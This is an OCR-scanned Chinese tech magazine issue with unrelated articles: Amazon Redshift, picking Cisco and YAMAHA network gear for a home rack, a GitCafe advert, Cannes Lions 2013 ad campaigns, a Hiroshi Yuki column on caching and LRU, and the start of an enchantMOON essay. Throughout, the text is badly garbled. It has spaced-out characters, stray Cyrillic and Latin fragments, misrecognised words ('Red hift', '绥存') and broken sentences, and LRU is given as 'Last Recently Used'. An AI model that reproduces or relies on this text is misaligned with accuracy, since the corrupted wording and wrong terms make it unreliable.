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云 计 算数 据 仓库 
"Amazon Redshift” 


“Amazon Redshift” (下面 称 为 
Redshift ) 是 美国 Amazon 公司 的 云 
计算 平台 “Amazon Web Services” 
(下 面 称 为 AWS ) 自 2013 年 2 月 开 
始 启 用 的 云 计算 型 数据 仓库 服务 。 

数据 仓库 是 把 大 量 的 数据 积 
累 起 来 ， 并 对 其 进行 分 析 和 可 视 
化 处 理 的 系统 的 总 称 。 通 过 使 用 
这 些 数 据 对 公司 的 事业 和 市 场 情 
况 进行 分 析 ， 帮 助 公司 做 出 有 关 
改善 经 营 和 提高 系统 效率 等 方面 
的 决策 。 数 据 仓库 和 普通 的 数据 
库 系 统 的 最 大 区 别 是 ， 几 乎 不 进 
行 记录 的 更 新 和 删除 ， 只 是 以 追 
加 的 形式 把 大 量 的 数据 积累 起 来 ， 
并 据 此 进行 数据 的 统计 和 分 析 。 
由 于 其 目的 的 特殊 性 ， 以 前 一 般 
会 使 用 专门 的 人 硬件 服务 器， 引入 
费用 通常 也 比较 高 。 

Red hift 的 最 大 的 特点 是 
与 以 前 的 使 用 专用 服务 套 的 数据 
仓库 相 比 ， 可 以 以 极 低 的 价格 来 
9. #8, НУНА Е 
务 ， 不 需要 多 余 的 硬件 设备 ， 所 
以 可 以 控制 初期 导入 费用 。 途 和 借 
AWS 的 巨大 的 运 维系 统 的 支撑 ， 
Red hift 自 公布 后 便 获 得 了 很 大 
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仓库 , 甚至 还 有 更 好 的 性 能 
Redshift 在 功能 上 的 特点 表现 在 
DT) O TBI s 


@ 数据 存储 使 用 列 式 数据 库 
列 式 数据 库 是 以 列 为 单位 对 
数据 进行 管理 的 数据 库 系 统 。 使 
用 列 式 数据 库 ， 在 数据 统计 的 时 
候 ， 只 要 查询 必要 的 列 就 行 了 ， 
因此 比较 适用 于 统计 处 理 和 分 析 ， 
这 也 是 列 式 数 据 库 的 一 个 特点 。 


@ 支持 多 种 压缩 算法 

J| Ка ВЕ ВУ 03 — T ERU: 
数据 压缩 率 高 。 另 外 Redshift 还 
支持 多 种 压缩 算法 ， 可 以 根据 数 
据 的 性 质 和 用 途 ， 选 择 最 合适 的 
压缩 算法 。 


© MPP 带 来 的 高 扩展 性 
MPP ( Massively Parallel Processing, 

大 规模 并 行 处 理 ) 是 指 通过 连接 
大 量 比较 廉价 的 处 理 需 来 获得 高 
处 理性 能 的 计算 机 。 它 的 特点 是 
能 通过 增加 处 理 器 个 数 来 线性 扩 
展 提 高 处 理性 能 。 MH F Redshift 
的 便 件 环 境 是 以 MPP 形 式 组 成 的 ， 


因此 只 要 根据 需要 追加 实例 ， 就 
能 同时 提升 数据 容量 和 处 理性 能 


@ 与 现 有 技术 的 高 兼容 性 
Redshift 的 数据 库 以 开源 的 
PostgreSQL 为 基础 搭建 而 成 ， 可 
以 使 用 支持 PostgreSQL 的 现 有 的 
驱动 和 各 种 工具 。 这 就 意味 看 可 
以 很 容易 地 与 现 有 的 应 用 和 Web 
RARA LAE 


大 数据 时 代 的 强力 武器 


在 被 称 为 大 数据 时 代 的 现在 ， 
商业 的 各 个 方面 都 越 来 越 需要 大 规 
模 的 数据 分 析 。 男 一 方面 ， 以 前 的 
数据 仓库 出 于 费用 局 内 有 比较 天 
规模 的 公司 和 服务 运营 者 才能 使 用 。 

但 是 有 了 Redshift 后 ， 即 使 
没有 昂贵 的 专用 服务 器 和 定制 的 
系统 ， 也 可 以 进行 TB 或 PB 级 别 
的 数据 分 析 。 如 果 能 灵活 使 用 
Redshift， 它 将 成 为 中 小 企业 和 
创业 公司 的 强 有 力 的 武器 
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i 通信 设备 的 探讨 


说 起 目 己 家 的 服务 船 机 架 ， 不 仅仅 是 服务 
和 天， 网 络 方面 的 知识 以 及 设备 也 是 必 不 可 少 的 。 


因此 在 步 入 正题 之 前 ， 让 我 们 先 来 一 起 探讨 下 
常规 的 通信 设备 吧 。 


i 交换 机 的 选择 ， 和 钊 规 是 Cisco 


一 般 多 选用 CiscoSystem 公司 ( 以 下 简称 
Cisco ) 的 产品 。 在 通信 领域， 将 Cisco 作为 标 
准 的 地 方 还 是 很 多 的 。 因 此 ， 如 果 有 意 成 为 网 
络 工 程 师 的 话 ， 就 有 必要 对 Cisco 的 产品 进行 
— КГ. ЭРИН CiscoHJ t e TA uER B $8 443 
关 使 用 方法 的 网 站 等 各 类 资料 也 非常 丰 定 ， 所 
以 推荐 从 使 用 Cisco 的 产品 人 手 。 交 换 机 大 致 
可 分 为 Layer2( L2 ) 交 换 机 和 Layer3(L3 ) 交换 
机 。 下 面 简单 地 说 一 下 两 者 的 区 别 。 


@ 12 交换机 

这 类 交换 机 的 主要 功能 是 收发 数据 包 。 即 
通过 MAC 地址 管理 端口 和 终端 的 连接 关系 ， 
并 将 数据 包 发 送 到 目的 地 。 因 为 MAC 地 址 属 
于 OSI 模型 的 第 2 层 (数据 链 路 层 )， 所 以 称 为 
Layer2 j|! 
@ L3 交换 机 

在 L2 交 换 机 的 基础 上 ,增加 了 IP 路 由 的 
功能 。 也 就 是 说 ， 为 了 能 和 其 他 设备 上 的 网 络 
节点 进行 通信 ， 增 加 了 数据 包 中 转 、 路 由 选择 
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X. Аотосћа ( http://tomocha.net/diary/ 


这 些 功能 。 这 些 都 是 OSI 模型 第 3 层 ( 网 络 层 ) 
的 功能 ， 因 此 称 之 为 Layer3 交换 机 。 


那么 该 选择 怎样 的 交换 机 呢 ? 由 于 互联 网 
的 接 入 速度 在 1M ЫЫ ~ 1Gbit/szz[H], 1Gbit/s 
的 交换 机 也 已 经 成 为 主流 ， 所 以 选择 所 有 端口 
都 文 持 1G 的 交换 机 是 无 可 非议 的 。 如 今 在 街 
边 的 电器 店 中 就 可 以 买 到 交换 机 ， 自 带 管理 
功能 的 高 性 能 交换 机 、L3 交换 机 等 也 能 找到 。 
L3 交换 机 的 价格 还 是 比较 昂贵 的 ， 新 品 的 话 
要 数 十 万 日 元 ， 二 手 的 也 要 数 万 日 元 ， 所 以 要 
根据 自己 的 预算 来 挑选 。 笔 者 的 建议 是 ， 至 少 
也 要 选择 这 有 管理 功能 和 VLAN 功能 的 L2 交 
ТАЛЛ Cisco 的话 就 是 Catalyst 2960 系列 。 

带 有 管理 功能 的 交换 机 的 优势 在 于 ， 通 过 
串 行 接口 或 者 网 络 提供 管理 功能 ， 可 以 查看 交 
换 机 的 各 类 设 定 、 端 口 状态 、 数 据 包 流 量 、 错 
误 帧 数 、 负 载 以 及 系统 状态 。 并 且 通 过 SNMP 
协议 , 还 可 以 远程 下 载 数据 并 生成 可 视 化 的 报表 。 
通过 收集 各 类 event 信 息 和 1log 等 ， 可 以 远程 监 
视 交 换 机 ， 随 时 掌控 其 状态 ， 并 在 发 生 故 障 时 
调查 原因 。 还 可 以 将 一 些 奇怪 的 问题 记录 下 来 
以 便 日 后 分 析 。 除 此 之 外 , VLAN (虚拟 局 域 网 )、 
STP (建立 树 形 拓扑 ， 实 现 路 径 见 余 ) 以 及 链 路 
聚合 (link aggregation ) 都 是 比较 常用 的 功能 ， 
作为 网 络 工程 师 ， 最 好 事先 了 解 一 下 。 

此 外 ， 在 学 习 L3 交 换 机 的 过 程 中 也 有 一 
些 需要 了 解 的 功能 ， 所 以 不 管 是 否 常用 ， 家 
"P BS 4 як ULA Edif ВЕ UP йт f Catalyst 
3550/3750 系列 的 设备 。 


EAN dT Le 


} Mos Е 
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ШЕН й, Ж ЖАНУ Cisco 1800 系列 和 
890 < 7], YAMAHA RTX 系列、NEC IX 系列 
和 古河 电工 的 FITEL 系列 等 。 除 此 之 外 还 有 
ЗА. A H й D ВЕ ПУ 107 Kd ( Fire Wall), 例如 
NetScreen #1 Fortigate X 2 ТА jn] SOHO 及 小 规 
IAEI ин, "Hg EB 28 ЖОЛУ UH, X 
家 可 以 根据 目 己 的 喜好 来 选择 。 如 采 只 是 用 来 
学 习 的 话 ，Cisco 2600 系 列 和 Cisco 2800 系列 
也 是 可 以 使 用 的 。 

说 起 路 由 硕 和 L3 区 换 机 的 区 别 ,， 可 以 这 
么 认为 : L3 交 换 机 可 以 实现 的 功能 ， 路 由 需 
也 能 实现 。L3 交换 机 是 多 并 口 的 交换 机 。 路 
由 天 的话 , 虽然 端口 较 少 , 但 支持 多 种 接口 协议 ， 
并 且 有 数据 包 过 滤 、NAT (地 址 变换 ) 等 功能 。 
除 此 之 外 ， 还 有 适用 于 大 规模 网 络 ， 能 够 保存 
更 多 的 路 由 数量 的 动态 路 由 带 (BGP/OSPF 等 )。 


是 必要 的 吗 ? 

需要 注意 的 是 ， 一 些 面 向 公司 的 交换 机 和 
路 由 右 ， 如 果 不 在 维护 服务 期 内 就 可 能 无 法 更 
新 固件 或 O0S。 为 什么 要 更 新 固件 呢 ? 提供 新 
功能 是 其 原因 之 一 ， 更 重要 的 是 修正 软件 bug 
和 安全 漏洞 等 。 如 有 果 只 是 软件 bug 的 话 ， 只 会 
影 啊 目 己 的 正常 使 用 。 但 如 果 存 在 安全 漏洞 的 
话 ， 还 可 能 影响 到 他 人 ， 所 以 对 接 入 互联 网 的 
设备 需要 进行 维护 和 更 新 。Cisco 为 Catalyst 系 
列 部 分 型 号 的 L2/L3 交换 机 免费 提供 了 IOS 软 
件 ， 可 以 安心 使 用 。YAMAHA 的 路 由 器 等 设 
备 的 维护 服务 基本 上 都 是 免费 的 ， 推 荐 给 首次 
使 用 的 朋友 们 。 总 之 ， 请 大 家 在 考虑 设备 的 售 
后 服务 的 基础 上 ， 选 择 适 合 目 己 的 产品 。 


i 用 电量 也 是 选择 要 素 


多 交口 的 交换 机 以 及 高 性 能 的 路 由 融 的 用 
电量 较 高 ， 所 以 每 个 月 的 电费 也 需要 考虑 在 内 


1] 固件 和 OS 等 的 维护 服务 
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(照片 1) 100 丈 左右 的 设备 ，1 个 月 的 电费 为 
0 W x24( 小 时 )x30( 日 )=72 kWh=2095 日 
E A O E j | j 
生 这 些 花 费 ， 如 果 长 时 间 使 用 的 话 ， 还 是 会 对 
家 庭 文 出 产生 影响 的 。 所 以 要 在 调查 了 解 所 需 
要 的 功能 、 端 口 数 量 、 用 电量 的 基础 上 进行 选择 。 

笔者 的 环境 中 , 使 用 的 交换 机 有 Cisco, 
HitachiCable、DELL、AlaxalA 的 设备 , 使 用 
的 路 由 器 有 YAMAHA RTX 系列 、Cisco 1800 
系列 、NEC IX 系列。 用 电量 已 经 成 为 不 可 忽 
视 的 问题 ， 所 以 如 果 能 买 到 用 电量 较 少 的 设备 
的 话 ， 会 进行 适当 的 蔡 换 ( 照 片 2 )。 


i 总 2 


综 上 ， 要 在 考虑 用 电量 的 基础 上 选择 带 有 
管理 功能 的 交换 机 和 路 由 需 。 另 外 ， 因 为 家 中 
有 机 架 ， 所 以 要 选择 能 够 安装 到 机 架 上 的 型 号 
最 后 还 要 说 一 句 ， 在 网 络 知识 的 学 习 方 面 ， 通 
过 实际 操作 来 加 深 记 忆 是 最 重要 的 ! 


wi l 尽量 将 用 电量 很 大 的 设备 用 于 测试 ， 避 
免 长 时 间 地 运转 
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基于 Git fhsBy e 4685FrE IR El {ЕРЕ 
帮助 研发 团队 优化 项 目 官 理 和 协作 流程 

为 企业 提供 更 安全 的 代码 管理 解决 方案 
助力 全 球 科技 公司 打造 目 己 的 开发 者 天 系 生 态 图 


和合 ” 代 码 管理 及 开源 平台 
提供 安 人 全、 稳定 、 局 效 的 代码 示 理 解决 万 条 ， 使 您 从 容 应 对 各 类 软 便 件 项 目 中 可 能 遇 到 的 
协作 挑战 。 是 各 大 公司 在 国内 发 布 开 产 项 目的 优质 平台 e 


“з 提供 企业 级 解决 方案 


GitCafe 专注 开发 者 关系 建立 , 提供 专业 的 企业 级 解决 方案 。 
在 企业 内 部 服务 右 建 立 GitCafe MES, Ла. 稳定 、 畅 快 的 开发 和 协作 旅程 。 


[Н 打造 开发 者 生态 系统 


主办 / 协办 在 线 开发 大 赛 、 线 下 技术 分 享 及 工作 坊 等 活动 , 助力 企业 打造 属于 自己 的 开发 
ж Х Ж + Il. 为 您 的 产品 及 服务 吸引 更 多 优质 开发 者 。 


GitCafé 


OO FOLLOW @GitCafe 


SUPPORT | support@gitcafe.com 


CAREER | job@gitcafe.com 


Share a Cup of Open Source 


GitCafe 由 上 海 东 早 志 D.G.Z 出 品 | @ 
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M/Z Yukio Ando( EXA 公 司 ) 
Twitter: (Qyukio andoh 

个 人 主页 : http://www.andoh.org/ 
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就 在 你 喘 边 的 “广告 ” 


在 日 常生 活 中 ， 随 时 随地 部 
会 接触 到 广告 。 电 视 广 告 、 地 铁 
上 的 广告 、 杂 志 上 的 广告 、 手 机 
应 用 中 的 广告 …… 只 要 生活 在 城 
市 中 ， 无 论 你 是 否 意识 到 ， 每 天 
都 有 无 数 的 广告 充斥 你 的 眼睛 。 

近 几 年 来 ,花费 巨大 预算 的 
广告 视频 的 制作 已 经 在 逐渐 减少 ， 
但 其 他 形式 的 广告 正在 增多 。 这 
里 所 说 的 “其 他 形式 ”， 即 通过 活 
H Twitter, Facebook 等 社交 媒体 ， 
使 产品 及 品牌 相关 的 话题 得 到 扩 
散 的 广告 抹 略 。 在 便利 店 看 到 电 
视 广告 中 的 零食 新 产品 时 会 不 目 
觉 地 想 去 购买 ; 对 朋友 在 社交 媒 
体 上 分 享 的 热门 产品 也 会 感到 非 
名 有 兴趣 。 另 外 在 手机 应 用 中 也 
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会 收 到 其 他 应 用 相关 的 信息 。 
虽说 不 看 电视 广告 了 ,但 是 

广告 仍 以 各 种 形式 渗透 在 我 们 的 

Н Ей НН» ШӘЛ АДН ВЕЕ 

机 以 及 网 络 的 广告 尤 多 ， 这 类 广 

告 一 般 有 以 下 特点 。 

@ 不 是 展示 产品 本 身 ， 而 是 展示 
产品 及 品牌 可 提供 的 体验 

e 灵活 应 用 数字 化 手段 已 成 为 第 
识 。 仪 仅 徘 使 用 了 最 新 的 技术 
无 法 成 为 话题 

e 为 一 方面 ， 灵活 应 用 以 往 没 有 
НТР, 采用 前 所 未 有 的 


PIE 
Ө JH) ES BU ТЕЗЕК 
体 上 的 扩散 为 目标 


ө 路 /多 平台 (电视 与 网 络 、 社 交 
媒体 与 宣传 活动 等 ) 
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下 去 

Ө 不 仅 重 视 产 品 本 身 ， 还 要 重视 
使 用 产品 的 体验 等 服务 


特别 是 社交 媒体 与 广告 的 关 
系 正 变 得 非常 紧密 。 社 交 媒 体 之 
所 以 备 受 广告 商 的 青睐 ,是 因为 
与 以 往 的 大 众 媒体 相 比 ， 通 过 社 
区 媒体 可 以 以 较 低 的 成 本 实施 各 
种 策略 ， 同 时 社交 媒体 更 接近 于 
顾客 ， 可 以 与 顾客 建立 更 紧密 的 
Xo 

发 外 与 数 年 前 相 比 ， 话 题 的 
扩散 、 谣 言 的 传播 ， 以 及 热度 的 
降温 等 各 类 事项 的 速度 也 变 得 飞 
快 ,“ 现 在 ”这 个 实时 性 得 到 了 更 
多 的 重视 。 对 于 不 错 的 东西 、 美 


广告 中 数字 化 与 装置 的 分 工 


好 的 事物 ， 人 们 都 会 硕 望 它 能 成 
为 话题 以 让 更 多 的 人 知道 ， 所 以 
言 息 会 在 瞬间 被 共享 ， 并 直接 导 
致 购买 商品 、 孚 受 服务 等 行动 在 
更 大 的 范围 内 展开 。 

虽然 有 些 东 西 会 根据 国家 、 
年 龄 层 、 居 住 圈 等 有 细微 的 差别 ， 
但 真正 好 的 表现 方式 或 产品 ， 将 
会 超越 国家 与 文化 的 差异 被 广泛 
接受 ， 这 样 的 信念 也 在 逐步 成 为 
一 般 消 费 者 的 共识 。 

以 广告 为 主 的 夏 纳 国 际 创意 
"H “ Cannes Lions International Festival 
of Creativity 2013" F 2013 年 6 月 如 
期 举行 ， 当 时 恰 逢 该 活动 创立 60 
周年 ， 参 加 报名 的 作品 数 达 到 了 
历史 最 多 ， 其 中 我 们 特别 介绍 几 
个 和 手机 客户 奖 以 及 最 新 科技 相 
天 的 广告 策略 。 


Second Life App 

以 活动 专用 的 应 用 在 活动 结 
束 后 再 也 不 会 被 使 用 为 切入 点 ， 
在 应 用 版 本 迭代 的 时 候 将 应 用 的 
内 容 蔡 换 为 征集 肝脏 捐赠 者 。 


Project Silverline 


新 加 坡 通信 商 SINGTEL 的 作 
品 ， 在 新 版 本 iPhone 5 的 发 售 日 ， 
I Ж ІН IK BJ iPhone, JF 26 6 53K 
老年 人 会 使 用 到 的 应 用 ， 然 后 捐 
赠 给 老年 人 。 
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Scrabble WiFi 

销售 桌 游 的 Mattel 公 司 提供 
WJ Wi-Fi 服务 。 以 提供 免费 的 
Wi-Fi 连 接 为 交换 ， 要 求 用 户 解 
开 谜 题 。 解 开 的 谜 题 的 难度 越 高 ， 
即 可 获得 更 长 时 间 的 连接 。 


Keepit 

这 是 一 球 可 以 将 购物 时 的 找 
零 以 电子 货币 的 形式 接受 的 移动 
服务 О 


Get Cash 

沁 国 的 银行 服务 。 在 忘 带 或 
丢失 银行 卡 时 ， 可 以 通过 发 送 至 
智能 机 的 专用 代码 从 账户 中 提出 
不 超过 10 英 镑 的 小 视 现 金 。 在 丢 
了 钱包 或 紧急 情况 下 会 有 所 帮助 。 


awaken by Amazon 


日 本 的 学 生 团 队 想 出 的 创意 ， 
在 会 场 也 获得 了 很 高 的 评价 。 从 
Amazon 购买 图 书后 ， 在 配送 的 箱 
子 中 放 和 人 不 再 阅读 的 图 书 并 寄 回 。 
这 些 书 将 被 贴 上 Amazon 的 贴纸 ， 
被 捐 往 正 在 努力 提升 识字 率 的 印 
度 等 地 。 捐 赠 了 图 书 的 人 可 以 获 
得 该 书 的 电子 版 本 。 对 于 Amazon 
来 说 ， 这 一 活动 不 仅 实 现 了 箱子 
的 再 利用 ， 同时 也 起 到 了 “买书 
就 到 Amazon” 这 样 的 广告 宣传 
作用 。 


AN fT Le 


SI 


THIRD EYE 


新 加 坡 某 手 机 公司 提供 的 服 
务 。 该 项 目的 主旨 是 “成 为 您 的 
第 三 只 眼 ， 主 要 征用 于 为 饥 力 
障碍 者 解读 文字 或 图 片 的 志愿 者 
活动 中 。 视 力 障碍 者 通过 智能 机 
拍摄 想 要 读 取 的 内 容 ， 志 愿 者 就 
会 在 读 取 这 些 内 容 后 以 文字 信息 
的 形式 进行 回复 。 而 文字 信息 在 
应 用 中 会 以 声音 的 形式 被 明 读 出 
来 ,这样 就 可 以 被 理解 了 。 


Cinder 


创作 Processing 以 及 openFrameworks 
等 互动 内 容 的 环境 ， 获 得 了 很 蜗 
的 评价 。 由 于 互动 的 技术 很 容易 
使 用 ， 因 此 表现 的 可 能 性 就 有 所 
扩大 。 之 前 那些 以 创意 为 主 但 无 
法 得 到 实现 的 内 容 ， 随 者 该 环境 
的 完善 ， 以 及 可 以 熟练 使 用 该 环 
境 的 工程 师 、 设 计 师 的 增加 ， 也 
出 现 了 更 多 的 可 能 性 。 


adidas NEO Window Shopping 

不 需要 下 载 App， 只 通过 二 
维 码 以 及 4 位 的 PIN CODE 就 可 以 
购买 商品 的 服务 。 它 的 特点 就 是 
使 用 方便 ， 不 需要 特地 去 下 载 或 
Ee JUMP 


那么 这 些 成 为 话题 的 服务 和 
告 是 如 何 被 创作 出 来 的 呢 ? 24 
然 ， 专 业 并 且 一 流 的 创意 者 们 花 


Тһе Pebble Sense 


The Popinator 
RA E EREE RA Danger 
http://vimeo.com/64860956 
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日 第 觉得 奇怪 的 事情 、 不 方 
便 的 事情 ,或 者 很 小 的 发 现 等 ， 
这 些 事情 只 要 能 使 得 人 的 内 心 有 
所 触动 ， 那 就 是 成 功 。 凡 是 能 留 
下 印象 的 事情 ， 都 会 使 人 或 惊讶 ， 
或 感动 ， 或 产生 共鸣 ， 或 感到 困 
惑 等 ， 使 人 的 心情 发 生 各 种 变化 。 

另外 ， 对 企业 来 说 ， 不 仅仅 
是 售卖 商品 ， 通 过 环保 、 再 利用 
等 企业 的 社会 贡献 来 构建 品牌 也 
成 为 了 一 个 重要 的 主题 。 而 且 这 
些 社会 贡献 也 并 不 是 说 是 为 了 做 
而 做 ， 而 是 要 和 各 个 企业 、 服 务 
以 及 商品 所 擅长 的 领域 相 结 合 ， 
以 大 家 都 能 接受 的 方式 展开 。 

Cannes Lions 2013 中 ,红牛 的 
平流 层 自 由 落体 “Red Bull Stratos” 
被 传 出 只 要 报名 就 肯定 能 得 奖 
( Cannes Lions 只 审核 文 付 报名 费 
用 并 由 制作 方 提出 申请 的 作品 )。 =: р] 
红牛 这 个 很 棒 的 做 法 已 经 超越 了 

告 这 样 的 形式 ， 能 感受 到 他 们 
希望 更 进一步 加 强 和 顾客 以 及 粉 
丝 的 关系 ， 并 且 继 续 向 下 一 阶段 
迈进 的 强烈 意愿 。 

未 来 的 广告 ， 或 许 形 式 会 和 
现在 的 广告 有 所 不 同 ， 变 得 更 加 
社会 化 ,但 这 种 社会 化 并 不 是 强 
压 的 ， 而 是 人 们 会 不 目 党 地 想 把 
它 作 为 话题 ， 想 文 持 它 。 


TXTBKS 


http://www.japanphil.or.jp/kikukusuri/ 


http://seeourentry.com/txtbks/ 


{ЛУ Back to Vinyl 
VAST 用 模仿 了 老式 唱片 的 外 包装 和 
应 用 来 听 音 乐 家 宣传 用 的 音源 
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文 / 结 城 浩 ( Hiroshi Yuki ) 
http:/www.hyuki.com 
Twitter: @hyuki 
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缓存 原来 指 的 是 存放 物品 的 场所 。 在 当 拉 


术 用 语 使 用 的 时 候 ， 它 的 意思 是 “为 了 快速 进 
行 数据 处 理 而 存放 曾经 使 用 过 的 数据 的 地 方 ”。 

缓存 是 一 个 很 常用 的 技术 。 比 方 说 ,显示 
一 个 含有 大 图 片 的 Web 页 面 的 时 候 ， 第 一 次 会 
稍微 花 点 时 间 ， 但 第 二 次 会 立即 显示 出 来 。 这 
台 是 因为 大 岁 片 被 放 在 了 缓存 里 (被 缓存 )。 第 
一 次 显示 的 流程 如 网 1 所 示 。 

xx s Pez Y W| a A, Web 网 站 上 该 取 并 
显示 图 片 的 过 程 。 在 第 一 次 显示 的 过 程 中 把 图 
片 保存 在 了 缓存 里 。 这 个 缓存 具体 来 说 就 是 浏 
览 船 运行 的 计算 机 的 内 存 或 便 盘 。 


у” 1 第 一 次 访问 时 图 片 被 缓存 下 来 


CE 


在 使 用 绥 存 的 系统 中 ， 第 一 次 获得 数据 的 
时 候 ， 会 把 数据 存放 在 缓存 里 ， 接 着 就 可 以 从 
缓存 中 获取 数据 。 这 就 是 第 二 次 以 后 读 取 速 度 
得 到 提升 的 原因 所 在 。 

第 二 次 显示 Web 页 面 的 流程 如 网 2 所 示 。 
相 比 通过 缓慢 的 网 络 获得 数据 ， 从 高 速 缓存 获 
得 数据 可 以 更 加 快速 地 显示 出 来 。 


(29 CPU 使 用 的 缓存 


计算 机 自己 也 在 使 用 缓存 。 计 算 机 的 中 央 
Ab 3 gs ( CPU ) 在 执行 程序 的 时 候 ， 在 从 主 存 
储 右 读 取 程序 的 同时 ， 也 在 从 缓存 存储 右 里 读 
取 数 据 。 因 为 缓存 存储 器 比 主 存储 需 更 快速 ， 
所 以 据 此 可 以 实现 CPU 的 快速 运行 。 这 种 情况 
下 ， 低 速 设备 是 主 存储 锅 ， 高 速 设 备 是 绥 存 存 
MEAT o 

在 Web 服务 器 的 例子 里 ， 主 存储 右 扮 演 了 


wE2 第 二 次 访问 时 从 缓存 获取 图 片 


缓存 的 角色 , 是 高 速 设备 。 但 在 CPU 的 例子 中 ， 
主 存 储 带 又 变 成 了 低速 设备 。 这 是 因为 在 缓存 
中 ， 问 题 的 关键 在 于 设备 的 相对 速度 。 


(p v 


“使 用 高 速 设备 代替 低速 设备 可 以 提高 速 
HE" 虽然 是 理所当然 的 ， 但 还 是 有 一 些 平衡 在 
里 面 。 

为 了 布 省 时 间 快 速 访 问 数 据 而 使 用 缓存， 
怠 在 一 定 程度 上 牺牲 了 空间 ， 即 出 现 了 “时 间 
和 空间 的 平衡 ”。 因 为 是 平衡 ， 就 必然 存在 “这 
边 成 立 ， 那 边 就 不 成 立 ” 的 情况 。 例 如 ， 如 果 
为 了 实现 更 高 的 速度 而 准备 更 大 的 缓存 ， 那 么 
以 后 从 这 个 大 绥 存 里 寻找 目标 数据 也 会 耗费 大 
量 的 时 间 。 

另外 ， 绥 存 一 般 都 比较 贯 ， 准 备 大 量 的 组 
存 会 对 系统 整体 的 成 本 产生 负面 影响 。 这 个 就 
是 “速度 与 价格 的 平衡 ”。 


(29 LRU 和 超 整 理 法 


当 绥 存 比 较 大 的 时 候 ， 经 第 使 用 的 是 名 为 


үу 3 Last Recently Used 


查找 数据 


ШШ 


ШШ 


找到 后 移 到 最 前 面 


结 城 浩 ( Hiroshi Yuki ) 
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LRU ( Last Recently Used ) 的 算法 (数据 结构 )， 
即 把 缓存 内 的 数据 排 成 一 排 ， 并 把 下 次 访问 到 
的 数据 排 到 排头 的 方法 。 

这 个 算法 的 精髓 是 刚 使 用 过 的 东西 被 再 次 
使 用 到 的 可 能 性 更 高 ， 所 以 放 在 最 近 的 地 方 。 

LUR 和 野 口 修 纪 雄 先 生 的 名 为 超 整 理 法 的 
资料 管理 法 是 一 样 的 。 

到 纸袋 里 ， 并 排列 在 书架 
ЖЫТ» 


。 查 找 资 料 的 时 候 ， 从 书架 的 开头 开始 按 
顺序 查找 
。 将 使 用 过 的 资料 放 到 书架 的 最 开头 


以 这 样 的 方法 管理 资料 。 这 样 一 来 ， 这 个 书 
架 的 特点 束 是 “最 第 使 用 的 资料 在 最 容易 找到 
的 地 方 ”。 


(29 利用 大 脑 的 缓存 


我 们 在 工作 的 时 候 ， 也 在 使 用 缓存 的 思维 。 
大 家 可 能 都 有 过 这 样 的 经 历 : 在 没 做 任何 准备 
就 直接 开始 工作 的 时 候 ， 干 到 一 半 时 会 突然 想 
到 “ 啊 ， 糟 了 ! 应 该 先 做 另外 一 件 事 的 ! ”为 
了 防止 这 样 的 失误 ， 最 好 回忆 一 下 上 次 做 到 了 
哪里 、 工 作 的 目的 是 什么 、 有 什么 注意 事项 等 ， 
理 清 这 些 基 本 信息 是 很 有 必要 的 。 这 就 类 似 于 
从 自己 脑子 的 缓存 里 读 取 必要 的 数据 。 如 果 是 
一 个 人 的 工作 ， 建 议 回头 看 一 下 工作 日 志 ; 
如 果 是 多 个 人 的 工作 ， 那 么 在 开始 前 开 一 个 简 
单 的 会 议会 比较 好 。 


Ф 多 


你 在 工作 的 时 候 有 没有 把 “ 拿 过 来 比较 费 
时 的 东西 ” 放 在 手边 呢 ? 请 想 一 想 吧 。 


生 于 1963 年 ， 日 本 资深 技术 作家 和 程序 员 。 在 编程 语言 、 设 计 模 式 、 数 学 、 加 密 技 术 等 领域 ， 编 写 了 很 多 深 
受 欢 迎 的 入 门 书 。 代 表 作 有 《数学 女孩 》 系 列 、《 程 序 员 的 数学 ) 8. 


作者 网 站 : http://www.hyuki.com/ 
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en nchant 


— 激发 创造 力 的 魔法 一 | 


文 / 清 水 亮 ( SHIMIZU Ryo Ubiquitous Entertainment Inc 股 份 有 限 公 司 ) 译 / 印 勇 刚 
CL http://www.uei.co.jp 


第 9 占有 五 年 后 的 未 来 


要 创造 出 enchant Moon! } AE AE DES, 
究竟 来 自 何 处 ? 一 切 要 从 2006 年 说 起 。 


| 


起 源 是 2006 年 纽约 大 学 的 科学 家 Jefferson 
Y Han 在 TED“ 大 会 上 发 表 的 一 部 短篇 影像 : 
http://www.youtube.com/watch?v=F1S-W9aeG0Os。 

在 这 部 影像 中 ，JeffersonY Han 通过 十 
根 手 指 自 如 地 操纵 着 投射 在 玻璃 板 上 面 的 各 
种 PC 图 面 ， 就 像 魔 法 师 那 样 随心 所 欲 。 被 两 
个 手指 目 由 地 扩大 、 缩 小 、 旋 转 的 各 种 图 像 、 
Google Earth 的 影像 、 画 面 上 浮现 出 的 虚拟 键 
盘 …… 一 切 的 一 切 都 是 那么 的 神奇 ， 仿 佛 来 目 
于 未 来 世界 。 

“这 简直 就 像 电影 中 的 画面 一 样 啊 ! ” 

我 看 了 这 个 影像 后 非常 感动 ， 感 觉 这 一 定 
就 是 未 来 电脑 的 发 展 方向 。 将 来 ,想必 处 处 组 
成 画面 ， 人 们 通过 手指 或 者 手势 等 ， 就 可 以 目 
如 地 操作 电脑 了 。 

ТЕ Jefferson Y Han 的 影像 中 ， 我 也 发 现 了 
一 处 不 足 ， 就 是 操作 系统 。 

Jefferson Y Han 的 影像 中 使 用 的 操作 系统 ， 
也 许 是 Windows， 也 许 是 Mac， 


总 之 是 一 款 普 


_J 


通 的 操作 系统 。 但 当时 的 这 些 操 作 系 统 ， 只 适 
合 单 点 触摸 ， 而 无 法 检测 出 多 点 触摸 的 手势 ， 
因为 它们 没有 这 方面 的 传感器 

然而 这 部 影像 还 是 深 深 地 吸引 了 我 ， 也 唤 
起 了 我 的 思考 : 如 何 去 实 现 这 样 神奇 的 一 个 未 
Ж? 可 能 是 10 年 后 ， 也 可 能 是 20 年 后 ， 但 总 
有 一 天 ， 人 们 都 会 像 影像 中 的 魔法 师 一 样 使 用 
电脑 吧 。 

而 适应 这 个 未 来 世界 所 需 的 操作 系统 、 相 
XI FE I i n Hi ЛИ AR. S 11A 
涉及 。 

il a 
代 ， 要 如 何 去 操 作 电脑 呢 ? 那 时 ， 我 内 心 非 常 
自然 地 涌现 出 一 个 强烈 的 想法 ， 那 就 是 ， 我 要 
把 对 这 一 命题 的 思考 ， 作 为 我 终身 的 事业 。 


eol aps Fi 


Jefferson Y Han mm à 
http://www.youtube.com/watch?v-EiS-W9aeG0s 


X a (D ТЕР ( Technology Entertainment Design ) : 科学 、 娱 乐 、 设 计 等 方面 的 专业 人 士 发 表 其 独创 性 想法 的 国际 性 大 会 组 织 。 


五 年 后 的 手机 


任务 ， 让 我 分 析 和 预测 一 下 五 年 后 的 手机 会 变 
ВАГА 

